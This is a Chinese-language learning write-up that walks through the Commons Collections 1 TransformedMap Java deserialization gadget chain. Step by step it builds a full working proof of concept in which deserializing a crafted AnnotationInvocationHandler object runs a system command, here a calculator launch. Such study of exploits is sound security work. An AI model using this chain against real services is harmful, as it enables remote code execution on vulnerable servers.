CC1TransformedMap链学习

跟着看了白日梦组长的视频,记录一下调试学习过程

CC1链学习

TransformedMap链

ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                MapEntry.setValue()
                    TransformedMap.checkSetValue()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {


    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    //
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

寻找序列化的方法

首先我们先定义入口点

作者刚开始是发现了在CommonsCollections这个包里有一个Transformer类,就是下面图片这里

public interface Transformer {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    public Object transform(Object input);

}

public interface Transformer:声明了一个公开的接口 Transformer。
public Object transform(Object input);:这个接口内定义了一个名为 transform 的方法,这个方法是公开的,接受一个 Object 类型的参数,并返回一个 Object 类型的结果。

然后接下来我们看一下Transformer的实现类都怎么去做

这里我们注意一个叫做ConstantTransformer的实现类,这里埋下一个伏笔,后面要考

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }

这段代码定义了一个名为 ConstantTransformer 的类,它的作用是不管提供什么输入,都返回一个预先设定的常量值。这个类包含一个构造函数和一个transform方法:
1. 构造函数:当创建 ConstantTransformer 类的实例时,需要提供一个参数constantToReturn,这个参数指定了无论何时调用 transform` 方法都会返回的常量值。
2. transform 方法:这个方法实现了Transformer接口或继承自某个具有 `transform` 方法的类。该方法忽略传入的参数input,而是返回在构造函数中设定的iConstant常量。

然后解下来我们主要说的是InvokerTransformer这个类的方法,也就是漏洞点,也就是下面这段代码,这里的内容可以被控制,是一个任意方法调用。

这里有点像一个后门的写法,因为,它通过反射机制调用输入对象上的指定方法,然后返回结果。由于这种能力允许执行任何对象的任何方法,这可能被滥用,尤其是在不受信任的数据输入的情况下,这也是为什么它可能看起来像是一个潜在的"后门"。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

主要代码在这里

public Object transform(Object input) {
    if (input == null) {
        return null;                // 如果输入为null,直接返回null,不做任何处理
    }
    try {
        Class cls = input.getClass(); // 获取输入对象的类
        Method method = cls.getMethod(iMethodName, iParamTypes); // 根据存储的方法名和参数类型,反射获取相应的Method对象
        return method.invoke(input, iArgs); // 使用反射,调用该方法,并传入参数
    }

这里也就是危险方法存在的点

我们首先用Runtime这个方法尝试弹出一个计算器实验一下,以下是poc

public class CC1Test {
    public static void main(String[] args) throws Exception{
        Runtime.getRuntime().exec("open -a Calculator");
    }

然后我们尝试通过反射调用,来执行计算器尝试一下,可以看到成功执行了命令

import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception{
//        Runtime.getRuntime().exec("open -a Calculator");
        Runtime r = Runtime.getRuntime();
        Class c = Runtime.class;
        Method execMethod = c.getMethod("exec", String[].class);
        String[] commands = {"open","-a","Calculator"};
        execMethod.invoke(r,(Object) commands);

    }


    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    //
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

现在我们修改成InvokerTransformer这种方法方式,首先它需要调用这个tranform这个方法,这个方法接受一个对象

接下来我们再看一下这个构造参数的写法,参数名、参数类型、参数值

所以我们要这么写

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}).transform(r);

然后我们执行一下看看,成功弹出计算器

现在我们就要回头去寻找,在一个不同的类里面找到一个不同的方法,这里我们已经找到了InvokerTransformer.transform调用了这个方法,执行到了危险方法,然后我们现在往回找谁的类里面调用了transformer方法。

我们跟进transformer方法

通过IDEA的findUsages查看调用

找到下面的TransformedMap类里的checkSetValue方法调用了tranformer

看到这里的valueTransformer调用了transform方法,我们直接看一下构造函数

我们直接看一下构造函数,这是一个protected,也就是说这个方法需要被自己调用,接受一个map进来,然后分别对key和value做处理

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer)

  这个构造方法的目的是创建一个新的 TransformedMap 实例,该实例会在添加或检索键值对时应用指定的转换器。这种映射特别有用在需要自动转换键或值的场景中,例如,自动去除字符串键的空格,或者将所有输入的数值增加一定的倍数等。
因为TransformedMap是一个受保护的,所以我们看一下是谁调用了这个TransformedMap函数,然后我们找呀找,就找到了这个decorate

静态方法,里面调用了TransformedMap方法
然后我们可以在这个decorate静态方法位置,尝试在进行一次命令执行,看是否可以成功

我们最终是想通过调用checkSetValue里面的valueTransformer然后再调用transformer,我们再看上面decorate第三个接受的参数是valueTransformer

由于需要执行命令,我们就可以将valueTransformer这里替换成InvokerTransformer,也就是传入可以执行命令的这个危险方法,所以代码要这么写

 InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"});
        invokerTransformer.transform(r);
				//就会调用invokerTransformer.transform(r)方法;
        HashMap<Object,Object> map = new HashMap<>();
        TransformedMap.decorate(map,null,invokerTransformer);
    }
将创建的实例传入给TransformedMap.decorate第三个参数,也就是invokerTransformer

然后这里的value,还需要我们可以控制,但是我们现在不确定是否可以控制

然后我们看一下哪里调用了checkSetValue方法,继续findUSages

这里只有一处调用了checkSetValue方法,也就是TransformedMap的父类AbstractInputCheckedMapDecorator

这里有一个MapEntry类,调用了checkSetValue方法,我们这里先尝试理解一下,首先在Demo里添加代码,这里是一个遍历map的写法

map.put("key","value");
for (Map.Entry entry : map.entrySet()){
            entry.getValue();
        }

然后我们可以看到这里的setValue,其实就是重写了entry里的setValue方法

我们可以自己进入到Map接口里看一下

正常来讲,我们只需要去遍历TransformedMap这个里面的Map方法,就可以走到下面的checkSetValue方法,

就是这里

转而就可以走到AbstractInputCheckedMapDecorator里的setValue方法里去,然后就可以去调用chekSetValue里去

也就是这里就可以走到TransformerdMap里的checkSetValue里去,也就可以走到InvokerTransformer这个类里的我们刚开始的那个危险方法transform里去,就是那个类似后门的方法

所以我们现在就尝试遍历Map

然后我们现在就遍历好了,这里的setValue就调用了父类的setValue,然后会调用到chekSetValue,就是这个流程

可以看到已经能够成功的执行了

半条链的POC如下

import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception{
//        Runtime.getRuntime().exec("open -a Calculator");
        Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String[].class);
//        String[] commands = {"open","-a","Calculator"};
//        execMethod.invoke(r,(Object) commands);

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"});
        invokerTransformer.transform(r);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,invokerTransformer);

        for (Map.Entry entry : transformedmap.entrySet()){
            entry.setValue(r);
        }
    }

    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    //
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这里我们可以下断点调试一下,看一下调用

当到了transform这里,回跳到刚开始的危险方法,即可执行命令,可以看到这里有一个exec,然后继续调

到这里invokerTransformer.transform(r);,就会执行我们刚开始获取的Runtime对象,然后继续调

到了遍历数组的地方,然后到最后返回setValue的地方

下来就会跳到AbstractInputCheckedMapDecorator类中的setValue方法里,然后就会调用chekSetValue方法

然后就会跳到TransformerdMap类里的chekSetValue方法里,然后就会返回valueTransformer的transform方法

然后就会继续跳到最开始我们发现的那个危险方法里去

然后到最后进行反射调用的时候,就会调用我们的exec,执行计算器命令

成功执行

然后我们继续回去接着寻找再往前的调用链,再回到AbstractInputCheckedMapDecorator类里的setValue里,继续findUsages大法

然后我们的思路还是寻找不同名字的setValue的地方,最好现在是找谁的readObject里调用了setValue

然后就发现了AnnotationInvocationHandler类里的readObject有一个遍历Map的功能,调用了setValue

然后我们去看一下构造函数

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
这个构造函数里有Map<String, Object> memberValues,因为是Map,所以我们可以将我们构造好的这个 TransformedMap.decorate传入进去

也就是TransformedMap里的decorate

开始尝试编写POC,注意Annotation就是注解的意思,接下来尝试实例化

import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception{
//        Runtime.getRuntime().exec("open -a Calculator");
        Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String[].class);
//        String[] commands = {"open","-a","Calculator"};
//        execMethod.invoke(r,(Object) commands);

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"});
        invokerTransformer.transform(r);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,invokerTransformer);

//        for (Map.Entry entry : transformedmap.entrySet()){
//            entry.setValue(r);
//        }

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationinvocationhandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationinvocationhandlerConstructor.setAccessible(true);
        Object o = annotationinvocationhandlerConstructor.newInstance(Override.class,transformedmap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    //
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

但是现在我们有一个问题,因为我们在setValue里要传一个Runtime对象r,但是

但是Annotationinvocationhandler里的setValue的对象是,我们现在无法控制

new AnnotationTypeMismatchExceptionProxy(
    value.getClass() + "[" + value + "]").setMember(
        annotationType.members().get(name)));

第二个问题就是Runtime对象我们无法序列化,因为它没有实现序列化接口,所以我们必须进行反射

而且我们还要满足Annotationinvocationhandler类里的两个if判断

if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy))

我们现在先解决不能序列化的问题

虽然Runtime不能序列化,但是它的元型是可以序列化的

Runtime.getRuntime();
Class c = Runtime.class;
Class c = Runtime.class;
            Method getRuntimeMethod = c.getMethod("getRuntime",null);
            Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
            Method execMethod = c.getMethod("exec", String[].class);
            String[] commands = {"open","-a","Calculator"};
            execMethod.invoke(r,(Object) commands);

这里就成功的将Runtime.getRuntime.exec()这个给通过反射,后期可以进行序列化和反序列化,下面实现InvokerTransformer,和之前差不多

这里就是写完,通过查看getMetho传参,可以实现的就是代替

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

Method getRuntimeMethod = c.getMethod("getRuntime",null);

然后同上查看invoke方法的传参,继续修改。

Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);

Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);

说白了就是通过之前危险方法写的调用链

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
实现了
Method getRuntimeMethod = c.getMethod("getRuntime",null);

Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
实现了
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);

现在修改完的POC如下,也可以正常执行命令了

import com.sun.xml.internal.ws.api.model.MEP;

import java.lang.invoke.MethodHandle;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception{
     Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
            Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
            new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(r);
      
            }

    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    //
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

关键代码就是

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
            Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
            new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(r);

链式调用
1. 第一个 InvokerTransformer 是用来获取Runtime 类的 getRuntime 方法对象。它调用 getMethod 来实现这一点,返回的是一个 java.lang.reflect.Method 对象。
2. 第二个 InvokerTransformer 需要这个Method对象来调用getRuntim 方法。由于 getRuntime 是一个静态方法,所以它的调用不需要实例对象,因此第二个 InvokerTransformer 的目标对象是 null(不需要实例),但它需要第一个 InvokerTransformer 返回的 Method对象来执行调用。
3. 第三个 InvokerTransformer 使用从第二个 InvokerTransformer 获取的 Runtime 实例来执行 exec 方法。这个 exec 方法需要一个字符串参数来指定要执行的命令。

这种编码方式实际上是一种"链式调用",每个环节都依赖前一个环节的结果。

因为一个一个调用太麻烦了,所以我们刚开始埋下的伏笔,可以直接解决这种问题,那就是ChainedTransformer类

这里的意思就是,可以把需要调用的方法全部写进去,然后进行一个递归的调用

就是这样,其实就是给刚才那三条链放进来做一个递归调用,省劲儿

Transformer[] transformers = new Transformer[]{
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"})
            };

现在的POC是

import com.sun.xml.internal.ws.api.model.MEP;

import java.lang.invoke.MethodHandle;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception{
    Transformer[] transformers = new Transformer[]{
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            chainedTransformer.transform(Runtime.class);
             }

    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    //
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

可以看到,可以成功命令执行

然后我们将解除注释,将其中的decorate的第三个参数改为chainedTransformer

HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);

但是我们现在肯定是执行不了的,因为if判断,可能没进去,这里看到果然不行,第二个是setValue的对象无法控制

下断点调试

这个地方就是我们传入的那个type,就是注解那个Override.class

这个地方获取注解的成员变量,但是其实这里没有值

这里发现,查找以后是空的,没有,所以就不会继续往下走,就出来了

所以这里压根儿没走到我们想要的setValue方法

所以我们就需要找一个有成员方法的class,注解,同时我们的数组名字还要改成成员方法的名字

我们之前发现在注释Target里面有一个成员方法

修改完再尝试,发现还是没进去,还是null

为什么会这样,我们继续往下看,我们这里传的字符串叫做key,但是现在它获取不到,因为Target这个注解里只有value这个参数,没有key,所以查找不到

所以将我们的exp改成value,我门在试一遍

我们继续调试,这里它需要get,get的值是value,这里我们看到,这里应该可以获取到,因为Target里面有value这个值的。而且下面的if判断也不是空了,证明进来了,底下这个if也能获取到了

底下这个if主要判断能不能进行强转,但是这里强转不了,所以是可以继续往下走的,然后我们走到了setValue,这里我们只要能够控制最后就可以命令执行了

我们继续跟进去、跟、跟、跟

熟悉吗?这就是我们之前说的那个TransformerdMap类中的checkSetValue方法中的valueTransformer的transform方法,执行命令最后一个点

这里就是我们之前定义好的ChainedTransformer

这个形式,实际上就是

chainedTransformer.transform(Runtime.class);
valueTransformer.transform(value);这两句一样

我们现在只需要将图中的value改成get.class即可

因为获取对象,value就是AnnotationTypeMismatchExceptionProxy

这里我们就想到了刚开始我们看到的另一个类,叫做ConstantTransformer,这个类的特点就是,这个类的特点就是,不管接受什么输入,都返回自己的值,这个意思就是虽然最后的那个对象我们控制不了。

最后的点就是这里的transform,调用ConstantTransformer里的transform,就可以从ConstantTransformer里的transform入手,把之前那个对象AnnotationTypeMismatchExceptionProxy改过来。

现在我们来理一下这条链

我们调用了TransformedMap的transformMap方法

这里调用了ConstantTransformer里的transform方法,也就是把输入的value改成了Runtime.class,后面在进行一些调用,最后成功执行

我们现在运行一下尝试,成功执行

最终的exp如下

import com.sun.xml.internal.ws.api.model.MEP;

import java.lang.invoke.MethodHandle;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception{
    Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//            chainedTransformer.transform(Runtime.class);
              //valueTransformer.transform(value);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","value");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationinvocationhandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationinvocationhandlerConstructor.setAccessible(true);
        Object o = annotationinvocationhandlerConstructor.newInstance(Target.class,transformedmap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    //
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}